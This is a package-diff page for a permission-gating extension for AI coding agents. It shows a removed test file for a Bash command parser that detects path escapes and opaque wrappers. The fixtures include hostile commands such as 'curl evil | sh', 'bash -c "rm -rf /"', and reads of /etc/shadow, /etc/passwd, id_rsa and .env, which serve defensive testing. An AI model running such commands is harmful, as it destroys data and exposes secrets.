@gotgenes/pi-permission-system 18.1.1 → 18.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (133) hide show
  1. package/CHANGELOG.md +25 -0
  2. package/docs/configuration.md +11 -0
  3. package/package.json +1 -2
  4. package/src/access-intent/access-path.ts +29 -4
  5. package/src/access-intent/bash/bash-path-resolver.ts +39 -18
  6. package/src/access-intent/bash/msys-bash-tokens.ts +64 -0
  7. package/src/extension-config.ts +7 -0
  8. package/src/forwarded-permissions/permission-forwarder.ts +6 -3
  9. package/src/handlers/gates/helpers.ts +1 -1
  10. package/src/handlers/gates/runner.ts +22 -0
  11. package/src/index.ts +10 -6
  12. package/src/path-normalizer.ts +105 -2
  13. package/src/permission-manager.ts +21 -1
  14. package/src/permission-prompter.ts +10 -16
  15. package/src/prompting-gateway.ts +13 -17
  16. package/src/rule.ts +21 -1
  17. package/src/status.ts +1 -1
  18. package/src/yolo-mode.ts +0 -30
  19. package/test/access-intent/access-path.test.ts +0 -277
  20. package/test/access-intent/bash/node-text.test.ts +0 -148
  21. package/test/access-intent/bash/parser.test.ts +0 -19
  22. package/test/access-intent/bash/program.test.ts +0 -673
  23. package/test/access-intent/bash/token-classification.test.ts +0 -363
  24. package/test/access-intent/bash/token-collection.test.ts +0 -300
  25. package/test/active-agent.test.ts +0 -155
  26. package/test/async-cache.test.ts +0 -48
  27. package/test/bash-arity.test.ts +0 -144
  28. package/test/bash-external-directory.test.ts +0 -1022
  29. package/test/builtin-tool-input-formatters.test.ts +0 -109
  30. package/test/canonicalize-path.test.ts +0 -119
  31. package/test/composition-root.test.ts +0 -698
  32. package/test/config-loader.test.ts +0 -740
  33. package/test/config-modal.test.ts +0 -320
  34. package/test/config-paths.test.ts +0 -83
  35. package/test/config-pipeline.test.ts +0 -90
  36. package/test/config-reporter.test.ts +0 -147
  37. package/test/config-store.test.ts +0 -466
  38. package/test/decision-audit.test.ts +0 -72
  39. package/test/decision-reporter.test.ts +0 -112
  40. package/test/denial-messages.test.ts +0 -714
  41. package/test/detect-permissive-bash-fallback.test.ts +0 -56
  42. package/test/expand-home.test.ts +0 -93
  43. package/test/extension-config.test.ts +0 -129
  44. package/test/extension-paths.test.ts +0 -108
  45. package/test/forwarded-permissions/io.test.ts +0 -251
  46. package/test/forwarding-manager.test.ts +0 -200
  47. package/test/handlers/before-agent-start.test.ts +0 -314
  48. package/test/handlers/external-directory-integration.test.ts +0 -515
  49. package/test/handlers/external-directory-session-dedup.test.ts +0 -175
  50. package/test/handlers/external-directory-symlink-acceptance.test.ts +0 -167
  51. package/test/handlers/gates/bash-command-metamorphic.test.ts +0 -88
  52. package/test/handlers/gates/bash-command.test.ts +0 -257
  53. package/test/handlers/gates/bash-external-directory.test.ts +0 -268
  54. package/test/handlers/gates/bash-path.test.ts +0 -346
  55. package/test/handlers/gates/candidate-check.test.ts +0 -52
  56. package/test/handlers/gates/external-directory-messages.test.ts +0 -85
  57. package/test/handlers/gates/external-directory-policy.test.ts +0 -134
  58. package/test/handlers/gates/external-directory.test.ts +0 -267
  59. package/test/handlers/gates/helpers.test.ts +0 -165
  60. package/test/handlers/gates/path.test.ts +0 -369
  61. package/test/handlers/gates/runner.test.ts +0 -408
  62. package/test/handlers/gates/skill-input-gate-pipeline.test.ts +0 -176
  63. package/test/handlers/gates/skill-input.test.ts +0 -128
  64. package/test/handlers/gates/skill-read.test.ts +0 -161
  65. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +0 -356
  66. package/test/handlers/gates/tool.test.ts +0 -244
  67. package/test/handlers/input-events.test.ts +0 -168
  68. package/test/handlers/input.test.ts +0 -199
  69. package/test/handlers/lifecycle.test.ts +0 -221
  70. package/test/handlers/tool-call-boundary.test.ts +0 -145
  71. package/test/handlers/tool-call-events.test.ts +0 -277
  72. package/test/handlers/tool-call.test.ts +0 -395
  73. package/test/handlers/validate-requested-tool.test.ts +0 -92
  74. package/test/helpers/external-directory-fixtures.ts +0 -269
  75. package/test/helpers/gate-fixtures.ts +0 -316
  76. package/test/helpers/handler-fixtures.ts +0 -335
  77. package/test/helpers/make-fake-pi.ts +0 -100
  78. package/test/helpers/manager-harness.ts +0 -112
  79. package/test/helpers/session-fixtures.ts +0 -199
  80. package/test/input-normalizer.test.ts +0 -325
  81. package/test/logging.test.ts +0 -51
  82. package/test/mcp-targets.test.ts +0 -233
  83. package/test/node-modules-discovery.test.ts +0 -97
  84. package/test/normalize.test.ts +0 -247
  85. package/test/path-containment.test.ts +0 -161
  86. package/test/path-normalization.test.ts +0 -233
  87. package/test/path-normalizer.test.ts +0 -196
  88. package/test/path-surfaces.test.ts +0 -55
  89. package/test/pattern-suggest.test.ts +0 -248
  90. package/test/permission-dialog.test.ts +0 -205
  91. package/test/permission-event-rpc.test.ts +0 -560
  92. package/test/permission-events.test.ts +0 -400
  93. package/test/permission-forwarder.test.ts +0 -370
  94. package/test/permission-forwarding.test.ts +0 -315
  95. package/test/permission-gate.test.ts +0 -269
  96. package/test/permission-manager-unified.test.ts +0 -3714
  97. package/test/permission-merge.test.ts +0 -61
  98. package/test/permission-prompter.test.ts +0 -518
  99. package/test/permission-prompts.test.ts +0 -363
  100. package/test/permission-resolver.test.ts +0 -277
  101. package/test/permission-session.test.ts +0 -404
  102. package/test/permission-ui-prompt.test.ts +0 -146
  103. package/test/permissions-service.test.ts +0 -192
  104. package/test/pi-infrastructure-read.test.ts +0 -432
  105. package/test/policy-loader.test.ts +0 -561
  106. package/test/prompting-gateway.test.ts +0 -231
  107. package/test/rule.test.ts +0 -650
  108. package/test/safe-system-paths.test.ts +0 -46
  109. package/test/scope-merge.test.ts +0 -116
  110. package/test/service-lifecycle.test.ts +0 -163
  111. package/test/service.test.ts +0 -261
  112. package/test/session-approval.test.ts +0 -75
  113. package/test/session-logger.test.ts +0 -200
  114. package/test/session-rules.test.ts +0 -321
  115. package/test/session-start.test.ts +0 -112
  116. package/test/skill-prompt-sanitizer.test.ts +0 -418
  117. package/test/status.test.ts +0 -10
  118. package/test/subagent-context.test.ts +0 -372
  119. package/test/subagent-lifecycle-events.test.ts +0 -132
  120. package/test/subagent-registry.test.ts +0 -145
  121. package/test/synthesize.test.ts +0 -302
  122. package/test/system-prompt-sanitizer.test.ts +0 -382
  123. package/test/tool-access-extractor-registry.test.ts +0 -77
  124. package/test/tool-input-formatter-registry.test.ts +0 -75
  125. package/test/tool-input-path.test.ts +0 -84
  126. package/test/tool-input-preview.test.ts +0 -129
  127. package/test/tool-input-prompt-formatters.test.ts +0 -115
  128. package/test/tool-preview-formatter.test.ts +0 -458
  129. package/test/tool-registry.test.ts +0 -197
  130. package/test/value-guards.test.ts +0 -193
  131. package/test/wildcard-matcher.test.ts +0 -424
  132. package/test/yaml-frontmatter.test.ts +0 -91
  133. package/test/yolo-mode.test.ts +0 -188
@@ -1,673 +0,0 @@
1
- import { beforeEach, describe, expect, it, vi } from "vitest";
2
-
3
- // Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
4
- // Default is identity so all existing lexical tests are unaffected.
5
- const realpathSync = vi.hoisted(() =>
6
- vi.fn<(path: string) => string>((p) => p),
7
- );
8
- vi.mock("node:fs", () => ({
9
- realpathSync,
10
- default: { realpathSync },
11
- }));
12
-
13
- import { BashProgram } from "#src/access-intent/bash/program";
14
- import { PathNormalizer } from "#src/path-normalizer";
15
-
16
- describe("BashProgram", () => {
17
- describe("pathRuleCandidates", () => {
18
- const cwd = "/projects/my-app";
19
- const normalizer = new PathNormalizer(process.platform, cwd);
20
-
21
- beforeEach(() => {
22
- realpathSync.mockReset();
23
- realpathSync.mockImplementation((p: string) => p);
24
- });
25
-
26
- it("adds absolute and relative policy values for relative tokens", async () => {
27
- const program = await BashProgram.parse("cat src/foo.ts", normalizer);
28
- const candidates = program.pathRuleCandidates();
29
- expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
30
- expect(candidates[0].path.matchValues()).toEqual([
31
- "/projects/my-app/src/foo.ts",
32
- "src/foo.ts",
33
- ]);
34
- expect(candidates[0].path.value()).toBe("/projects/my-app/src/foo.ts");
35
- });
36
-
37
- it("resolves tokens after literal cd against the effective directory", async () => {
38
- const program = await BashProgram.parse(
39
- "cd nested && cat src/file.txt",
40
- normalizer,
41
- );
42
- const fileCandidate = program
43
- .pathRuleCandidates()
44
- .find((candidate) => candidate.token === "src/file.txt");
45
- expect(fileCandidate?.path.matchValues()).toEqual([
46
- "/projects/my-app/nested/src/file.txt",
47
- "nested/src/file.txt",
48
- "src/file.txt",
49
- ]);
50
- expect(fileCandidate?.path.value()).toBe(
51
- "/projects/my-app/nested/src/file.txt",
52
- );
53
- });
54
-
55
- it("adds the canonical alias for a symlinked token (#486)", async () => {
56
- // /projects/my-app/src/foo.ts is a symlink to /vault/foo.ts.
57
- realpathSync.mockImplementation((p: string) =>
58
- p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
59
- );
60
- const program = await BashProgram.parse("cat src/foo.ts", normalizer);
61
- const candidate = program.pathRuleCandidates()[0];
62
- expect(candidate.path.matchValues()).toEqual([
63
- "/projects/my-app/src/foo.ts",
64
- "src/foo.ts",
65
- "/vault/foo.ts",
66
- ]);
67
- });
68
-
69
- it("does not absolute-allow relative tokens after unknown cd", async () => {
70
- const program = await BashProgram.parse(
71
- 'cd "$DIR" && cat src/foo.ts',
72
- normalizer,
73
- );
74
- const fileCandidate = program
75
- .pathRuleCandidates()
76
- .find((candidate) => candidate.token === "src/foo.ts");
77
- expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
78
- expect(fileCandidate?.path.value()).toBe("src/foo.ts");
79
- });
80
-
81
- it("keeps an unknown-cd token literal-only even when it would resolve a symlink (#393)", async () => {
82
- // A canonical alias here would resolve against the wrong (unknown) base.
83
- realpathSync.mockImplementation(() => "/somewhere/else");
84
- const program = await BashProgram.parse(
85
- 'cd "$DIR" && cat src/foo.ts',
86
- normalizer,
87
- );
88
- const fileCandidate = program
89
- .pathRuleCandidates()
90
- .find((candidate) => candidate.token === "src/foo.ts");
91
- expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
92
- expect(fileCandidate?.path.boundaryValue()).toBe("");
93
- });
94
-
95
- describe("rule-driven bare-token promotion (#509)", () => {
96
- it("promotes a bare token when the matcher says it is promotable", async () => {
97
- const isPromotable = (token: string): boolean => token === "id_rsa";
98
- const program = await BashProgram.parse(
99
- "cat id_rsa",
100
- normalizer,
101
- isPromotable,
102
- );
103
- const candidates = program.pathRuleCandidates();
104
- expect(candidates.map(({ token }) => token)).toEqual(["id_rsa"]);
105
- expect(candidates[0].path.matchValues()).toEqual([
106
- "/projects/my-app/id_rsa",
107
- "id_rsa",
108
- ]);
109
- });
110
-
111
- it("does not promote a bare token the matcher rejects", async () => {
112
- const isPromotable = (token: string): boolean => token === "id_rsa";
113
- const program = await BashProgram.parse(
114
- "git status",
115
- normalizer,
116
- isPromotable,
117
- );
118
- expect(program.pathRuleCandidates()).toHaveLength(0);
119
- });
120
-
121
- it("does not promote any bare token with the default no-op matcher", async () => {
122
- const program = await BashProgram.parse("cat id_rsa", normalizer);
123
- expect(program.pathRuleCandidates()).toHaveLength(0);
124
- });
125
-
126
- it("keeps a promoted token literal-only after an unknown cd (#393)", async () => {
127
- const isPromotable = (token: string): boolean => token === "id_rsa";
128
- const program = await BashProgram.parse(
129
- 'cd "$DIR" && cat id_rsa',
130
- normalizer,
131
- isPromotable,
132
- );
133
- const candidate = program
134
- .pathRuleCandidates()
135
- .find((c) => c.token === "id_rsa");
136
- expect(candidate?.path.matchValues()).toEqual(["id_rsa"]);
137
- });
138
-
139
- it("does not double-promote a token the shape gate already accepts", async () => {
140
- // ./id_rsa already passes classifyTokenAsRuleCandidate; the promoted
141
- // fallback must not run (and must not duplicate the candidate).
142
- const isPromotable = (): boolean => true;
143
- const program = await BashProgram.parse(
144
- "cat ./id_rsa",
145
- normalizer,
146
- isPromotable,
147
- );
148
- expect(program.pathRuleCandidates()).toHaveLength(1);
149
- });
150
- });
151
- });
152
-
153
- describe("externalPaths", () => {
154
- const cwd = "/projects/my-app";
155
- const normalizer = new PathNormalizer(process.platform, cwd);
156
-
157
- beforeEach(() => {
158
- realpathSync.mockReset();
159
- realpathSync.mockImplementation((p: string) => p);
160
- });
161
-
162
- it("returns absolute paths resolving outside cwd", async () => {
163
- const program = await BashProgram.parse("cat /etc/hosts", normalizer);
164
- // Subset matcher: the path is normalized before comparison.
165
- expect(program.externalPaths().map((p) => p.value())).toContain(
166
- "/etc/hosts",
167
- );
168
- });
169
-
170
- it("excludes paths within cwd", async () => {
171
- const program = await BashProgram.parse("cat src/index.ts", normalizer);
172
- expect(program.externalPaths()).toHaveLength(0);
173
- });
174
-
175
- describe("win32 projection (injected platform, no vi.mock node:path)", () => {
176
- const winNormalizer = new PathNormalizer("win32", "C:\\Projects\\App");
177
-
178
- it("resolves and case-folds a rooted path outside cwd", async () => {
179
- const program = await BashProgram.parse(
180
- "cat /etc/hosts",
181
- winNormalizer,
182
- );
183
- expect(program.externalPaths().map((p) => p.value())).toEqual([
184
- "c:\\etc\\hosts",
185
- ]);
186
- });
187
-
188
- it("flags a ..-traversal escaping cwd under win32 rules", async () => {
189
- const program = await BashProgram.parse(
190
- "cat ../sibling/x",
191
- winNormalizer,
192
- );
193
- expect(program.externalPaths().map((p) => p.value())).toEqual([
194
- "c:\\projects\\sibling\\x",
195
- ]);
196
- });
197
-
198
- it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
199
- const program = await BashProgram.parse(
200
- "cd sub && cat ../x",
201
- winNormalizer,
202
- );
203
- expect(program.externalPaths()).toHaveLength(0);
204
- });
205
- });
206
-
207
- describe("effective working directory projection", () => {
208
- it("folds a sequence of current-shell cd commands", async () => {
209
- // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
210
- const program = await BashProgram.parse(
211
- "cd a && cd b && cat ../c",
212
- normalizer,
213
- );
214
- expect(program.externalPaths()).toHaveLength(0);
215
- });
216
-
217
- it("catches an escape masked by a later cd that the single-base model missed", async () => {
218
- // Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
219
- // ../../etc/passwd escapes to /projects/etc/passwd.
220
- const program = await BashProgram.parse(
221
- "cd nested/deep && cd .. && cat ../../etc/passwd",
222
- normalizer,
223
- );
224
- expect(program.externalPaths().map((p) => p.value())).toContain(
225
- "/projects/etc/passwd",
226
- );
227
- });
228
-
229
- it("folds a cd that is not the first command", async () => {
230
- // The single-base model ignored a cd that was not first; now `cd a`
231
- // folds, so ../b resolves to cwd/b (inside) and is not flagged.
232
- const program = await BashProgram.parse(
233
- "mkdir d && cd a && cat ../b",
234
- normalizer,
235
- );
236
- expect(program.externalPaths()).toHaveLength(0);
237
- });
238
-
239
- it("does not fold a backgrounded cd", async () => {
240
- // `cd a &` runs in a subshell, so it must not update the running
241
- // directory; ../b resolves against cwd and escapes.
242
- const program = await BashProgram.parse("cd a & cat ../b", normalizer);
243
- expect(program.externalPaths().map((p) => p.value())).toContain(
244
- "/projects/b",
245
- );
246
- });
247
-
248
- it("does not fold a cd inside a pipeline", async () => {
249
- // Pipeline members run in subshells; the cd must not leak.
250
- const program = await BashProgram.parse(
251
- "cd nested | cat ../b",
252
- normalizer,
253
- );
254
- expect(program.externalPaths().map((p) => p.value())).toContain(
255
- "/projects/b",
256
- );
257
- });
258
-
259
- it("folds a cd inside a subshell for paths within that subshell", async () => {
260
- // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
261
- const program = await BashProgram.parse(
262
- "( cd sub && cat ../x )",
263
- normalizer,
264
- );
265
- expect(program.externalPaths()).toHaveLength(0);
266
- });
267
-
268
- it("does not leak a subshell cd to following commands", async () => {
269
- // The subshell cd resets on exit, so ../y resolves against cwd.
270
- const program = await BashProgram.parse(
271
- "( cd sub ) && cat ../y",
272
- normalizer,
273
- );
274
- expect(program.externalPaths().map((p) => p.value())).toContain(
275
- "/projects/y",
276
- );
277
- });
278
-
279
- it("persists a cd inside a brace group to later commands in the group", async () => {
280
- // Brace groups run in the current shell, so cd sub persists to cat ../x.
281
- const program = await BashProgram.parse(
282
- "{ cd sub; cat ../x; }",
283
- normalizer,
284
- );
285
- expect(program.externalPaths()).toHaveLength(0);
286
- });
287
-
288
- it("persists a brace-group cd to following sibling commands", async () => {
289
- const program = await BashProgram.parse(
290
- "{ cd sub; } && cat ../x",
291
- normalizer,
292
- );
293
- expect(program.externalPaths()).toHaveLength(0);
294
- });
295
-
296
- it("conservatively flags a relative path inside a command substitution", async () => {
297
- // Interior cd folding inside substitutions is deferred: the interior
298
- // inherits the enclosing base (cwd), so ../r is flagged rather than
299
- // resolved against cwd/q. Conservative — never misses an escape.
300
- const program = await BashProgram.parse(
301
- "echo $(cd q && cat ../r)",
302
- normalizer,
303
- );
304
- expect(program.externalPaths().map((p) => p.value())).toContain(
305
- "/projects/r",
306
- );
307
- });
308
-
309
- it("flags relative paths conservatively after a non-literal cd", async () => {
310
- // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
311
- // so it is flagged (least-privilege).
312
- const program = await BashProgram.parse(
313
- 'cd "$DIR" && cat ../x',
314
- normalizer,
315
- );
316
- expect(program.externalPaths().map((p) => p.value())).toContain(
317
- "/projects/x",
318
- );
319
- });
320
-
321
- it("flags even a within-cwd relative path after a non-literal cd", async () => {
322
- // Conservative cost: src/../within.txt resolves inside cwd but is still
323
- // flagged because the effective dir is unknown.
324
- const program = await BashProgram.parse(
325
- 'cd "$DIR" && cat src/../within.txt',
326
- normalizer,
327
- );
328
- expect(program.externalPaths().map((p) => p.value())).toContain(
329
- "/projects/my-app/within.txt",
330
- );
331
- });
332
-
333
- it("still resolves an absolute path normally after a non-literal cd", async () => {
334
- // Absolute paths are base-independent; one inside cwd is not flagged
335
- // even when the effective dir is unknown.
336
- const program = await BashProgram.parse(
337
- 'cd "$DIR" && cat /projects/my-app/x.txt',
338
- normalizer,
339
- );
340
- expect(program.externalPaths()).toHaveLength(0);
341
- });
342
-
343
- it("treats `cd -` as an unknown effective directory", async () => {
344
- const program = await BashProgram.parse("cd - && cat ../x", normalizer);
345
- expect(program.externalPaths().map((p) => p.value())).toContain(
346
- "/projects/x",
347
- );
348
- });
349
-
350
- it("recovers a known base when a later cd is absolute", async () => {
351
- // cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
352
- // ../x resolves to cwd and is not flagged.
353
- const program = await BashProgram.parse(
354
- 'cd "$DIR" && cd /projects/my-app/src && cat ../x',
355
- normalizer,
356
- );
357
- expect(program.externalPaths()).toHaveLength(0);
358
- });
359
-
360
- it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
361
- // tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
362
- // `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
363
- // inside a `pipeline` node. Bash precedence (`|` binds tighter than
364
- // `&&`) makes `cd a` current-shell, so the fold must persist past the
365
- // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
366
- const program = await BashProgram.parse(
367
- "cd a && pnpm x 2>&1 | tail ; cat ../b",
368
- normalizer,
369
- );
370
- expect(program.externalPaths()).toHaveLength(0);
371
- });
372
-
373
- it("persists the fold past a redirect-then-pipe to a later cd", async () => {
374
- // The issue reproduction: the fold from `cd a/b` survives the
375
- // redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
376
- // cwd instead of escaping one level above.
377
- const program = await BashProgram.parse(
378
- "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
379
- normalizer,
380
- );
381
- expect(program.externalPaths()).toHaveLength(0);
382
- });
383
-
384
- it("does not fold the terminal piped command of the first stage", async () => {
385
- // Fail-closed: `cd b` is the terminal command of the first stage, i.e.
386
- // the real pipe stage (a subshell), so it must NOT fold. With the
387
- // correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
388
- // wrongly folded, the base would be cwd/a/b and ../../x would stay
389
- // inside — a fail-open regression this test pins.
390
- const program = await BashProgram.parse(
391
- "cd a && cd b 2>&1 | tail ; cat ../../x",
392
- normalizer,
393
- );
394
- expect(program.externalPaths().map((p) => p.value())).toContain(
395
- "/projects/x",
396
- );
397
- });
398
-
399
- it("resolves a downstream pipe stage against the folded base", async () => {
400
- // The stage after the `|` runs in a subshell that inherits the folded
401
- // cwd/a, so ../foo resolves inside cwd rather than escaping against the
402
- // pre-cd base.
403
- const program = await BashProgram.parse(
404
- "cd a && pnpm x 2>&1 | cat ../foo",
405
- normalizer,
406
- );
407
- expect(program.externalPaths()).toHaveLength(0);
408
- });
409
- });
410
-
411
- it("flags an absolute in-cwd path that resolves externally via a symlink, returning the typed form", async () => {
412
- // The strict classifier only processes absolute tokens, so the escape
413
- // surface is `cat /cwd/link/hosts` (absolute) where `link -> /etc`.
414
- // The boundary decision still uses the canonical form (so the path is
415
- // flagged), but the returned value is the typed/lexical form so config
416
- // patterns match the path as the user wrote it (#418).
417
- realpathSync.mockImplementation((p: string) => {
418
- if (p === "/projects/my-app/link/hosts") return "/etc/hosts";
419
- return p;
420
- });
421
- const program = await BashProgram.parse(
422
- "cat /projects/my-app/link/hosts",
423
- normalizer,
424
- );
425
- const external = program.externalPaths().map((p) => p.value());
426
- expect(external).toContain("/projects/my-app/link/hosts");
427
- expect(external).not.toContain("/etc/hosts");
428
- });
429
-
430
- it("does not flag a token that resolves within a symlinked cwd", async () => {
431
- // Simulates /tmp -> /private/tmp on macOS; cwd is the canonical form.
432
- const symlinkCwd = "/private/tmp";
433
- realpathSync.mockImplementation((p: string) => {
434
- if (p === "/tmp") return "/private/tmp";
435
- if (p.startsWith("/tmp/")) return `/private/tmp${p.slice(4)}`;
436
- return p;
437
- });
438
- const program = await BashProgram.parse(
439
- "cat /tmp/workspace/file.ts",
440
- new PathNormalizer(process.platform, symlinkCwd),
441
- );
442
- expect(program.externalPaths()).toHaveLength(0);
443
- });
444
- });
445
-
446
- describe("commands", () => {
447
- const cwd = "/projects/my-app";
448
- const normalizer = new PathNormalizer(process.platform, cwd);
449
-
450
- it("returns a single-element list for a lone command", async () => {
451
- const program = await BashProgram.parse("npm install pkg", normalizer);
452
- expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
453
- });
454
-
455
- it("splits an && chain", async () => {
456
- const program = await BashProgram.parse("cd /p && npm i x", normalizer);
457
- expect(program.commands()).toEqual([
458
- { text: "cd /p" },
459
- { text: "npm i x" },
460
- ]);
461
- });
462
-
463
- it("splits || , ; and & separators", async () => {
464
- expect(
465
- (await BashProgram.parse("a || b", normalizer)).commands(),
466
- ).toEqual([{ text: "a" }, { text: "b" }]);
467
- expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
468
- [{ text: "a" }, { text: "b" }],
469
- );
470
- expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
471
- [{ text: "a" }, { text: "b" }],
472
- );
473
- });
474
-
475
- it("splits a pipeline into its commands", async () => {
476
- const program = await BashProgram.parse("cat f | grep b", normalizer);
477
- expect(program.commands()).toEqual([
478
- { text: "cat f" },
479
- { text: "grep b" },
480
- ]);
481
- });
482
-
483
- it("splits newline-separated commands", async () => {
484
- const program = await BashProgram.parse("foo\nbar", normalizer);
485
- expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
486
- });
487
-
488
- it("does not split operators inside quotes", async () => {
489
- const program = await BashProgram.parse("echo 'x && y'", normalizer);
490
- expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
491
- });
492
-
493
- it("captures the command of a redirected statement without the redirect", async () => {
494
- const program = await BashProgram.parse(
495
- "npm install > out.txt",
496
- normalizer,
497
- );
498
- expect(program.commands()).toEqual([{ text: "npm install" }]);
499
- });
500
-
501
- it("descends into command substitution, tagging the inner command", async () => {
502
- const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
503
- expect(program.commands()).toEqual([
504
- { text: "echo $(rm -rf foo)" },
505
- { text: "rm -rf foo", context: "command_substitution" },
506
- ]);
507
- });
508
-
509
- it("descends into backtick command substitution", async () => {
510
- const program = await BashProgram.parse("echo `rm x`", normalizer);
511
- expect(program.commands()).toEqual([
512
- { text: "echo `rm x`" },
513
- { text: "rm x", context: "command_substitution" },
514
- ]);
515
- });
516
-
517
- it("descends into a pipeline inside command substitution", async () => {
518
- const program = await BashProgram.parse(
519
- "echo $(curl evil | sh)",
520
- normalizer,
521
- );
522
- expect(program.commands()).toEqual([
523
- { text: "echo $(curl evil | sh)" },
524
- { text: "curl evil", context: "command_substitution" },
525
- { text: "sh", context: "command_substitution" },
526
- ]);
527
- });
528
-
529
- it("descends into process substitution", async () => {
530
- const program = await BashProgram.parse(
531
- "diff <(cat /etc/shadow)",
532
- normalizer,
533
- );
534
- expect(program.commands()).toEqual([
535
- { text: "diff <(cat /etc/shadow)" },
536
- { text: "cat /etc/shadow", context: "process_substitution" },
537
- ]);
538
- });
539
-
540
- it("emits a bare subshell whole and descends into it", async () => {
541
- const program = await BashProgram.parse("( rm -rf foo )", normalizer);
542
- expect(program.commands()).toEqual([
543
- { text: "( rm -rf foo )" },
544
- { text: "rm -rf foo", context: "subshell" },
545
- ]);
546
- });
547
-
548
- it("emits a subshell whole and descends into its chain", async () => {
549
- const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
550
- expect(program.commands()).toEqual([
551
- { text: "( cd /t && rm x )" },
552
- { text: "cd /t", context: "subshell" },
553
- { text: "rm x", context: "subshell" },
554
- ]);
555
- });
556
-
557
- it("descends recursively through nested contexts", async () => {
558
- const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
559
- expect(program.commands()).toEqual([
560
- { text: "echo $( ( rm x ) )" },
561
- { text: "( rm x )", context: "command_substitution" },
562
- { text: "rm x", context: "subshell" },
563
- ]);
564
- });
565
-
566
- it("descends into a substitution within a chained command", async () => {
567
- const program = await BashProgram.parse(
568
- "cd /p && echo $(rm x)",
569
- normalizer,
570
- );
571
- expect(program.commands()).toEqual([
572
- { text: "cd /p" },
573
- { text: "echo $(rm x)" },
574
- { text: "rm x", context: "command_substitution" },
575
- ]);
576
- });
577
-
578
- it("keeps the never-weaker invariant: a benign inner command stays", async () => {
579
- const program = await BashProgram.parse("echo $(echo safe)", normalizer);
580
- expect(program.commands()).toEqual([
581
- { text: "echo $(echo safe)" },
582
- { text: "echo safe", context: "command_substitution" },
583
- ]);
584
- });
585
-
586
- it("returns an empty list for an empty or whitespace command", async () => {
587
- expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
588
- expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
589
- [],
590
- );
591
- });
592
-
593
- it("strips a leading env-var assignment prefix", async () => {
594
- const program = await BashProgram.parse(
595
- "AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
596
- normalizer,
597
- );
598
- expect(program.commands()).toEqual([
599
- { text: "aws ec2 terminate-instances --instance-ids i-1" },
600
- ]);
601
- });
602
-
603
- it("strips multiple leading env-var assignments", async () => {
604
- const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
605
- expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
606
- });
607
-
608
- it("strips the env-var prefix of each command in a chain", async () => {
609
- const program = await BashProgram.parse(
610
- "X=1 aws sts get-caller-identity && ls",
611
- normalizer,
612
- );
613
- expect(program.commands()).toEqual([
614
- { text: "aws sts get-caller-identity" },
615
- { text: "ls" },
616
- ]);
617
- });
618
-
619
- it("keeps a pure assignment with no command unchanged", async () => {
620
- const program = await BashProgram.parse("FOO=bar", normalizer);
621
- expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
622
- });
623
-
624
- describe("opaque-payload wrappers", () => {
625
- it.each([
626
- ['bash -c "rm -rf /"', 'bash -c "rm -rf /"'],
627
- ['sh -c "rm -rf /"', 'sh -c "rm -rf /"'],
628
- ['dash -c "rm -rf /"', 'dash -c "rm -rf /"'],
629
- ['zsh -c "rm -rf /"', 'zsh -c "rm -rf /"'],
630
- ['ksh -c "rm -rf /"', 'ksh -c "rm -rf /"'],
631
- ['eval "rm -rf /"', 'eval "rm -rf /"'],
632
- ['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
633
- ['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
634
- ])("flags %s as opaque", async (command, text) => {
635
- const program = await BashProgram.parse(command, normalizer);
636
- expect(program.commands()).toEqual([{ text, opaque: true }]);
637
- });
638
-
639
- it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
640
- const program = await BashProgram.parse(
641
- 'AWS_PROFILE=prod bash -c "rm -rf /"',
642
- normalizer,
643
- );
644
- expect(program.commands()).toEqual([
645
- { text: 'bash -c "rm -rf /"', opaque: true },
646
- ]);
647
- });
648
-
649
- it.each([
650
- "bash script.sh",
651
- "bash",
652
- "ls -la",
653
- "grep -c foo file",
654
- ])("does not flag %s as opaque", async (command) => {
655
- const program = await BashProgram.parse(command, normalizer);
656
- expect(program.commands()).toEqual([{ text: command }]);
657
- });
658
- });
659
- });
660
-
661
- it("derives both slices from a single parse", async () => {
662
- const cwd = "/projects/my-app";
663
- const normalizer = new PathNormalizer(process.platform, cwd);
664
- const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
665
- expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
666
- ".env",
667
- "/etc/hosts",
668
- ]);
669
- const external = program.externalPaths().map((p) => p.value());
670
- expect(external).toContain("/etc/hosts");
671
- expect(external).not.toContain(".env");
672
- });
673
- });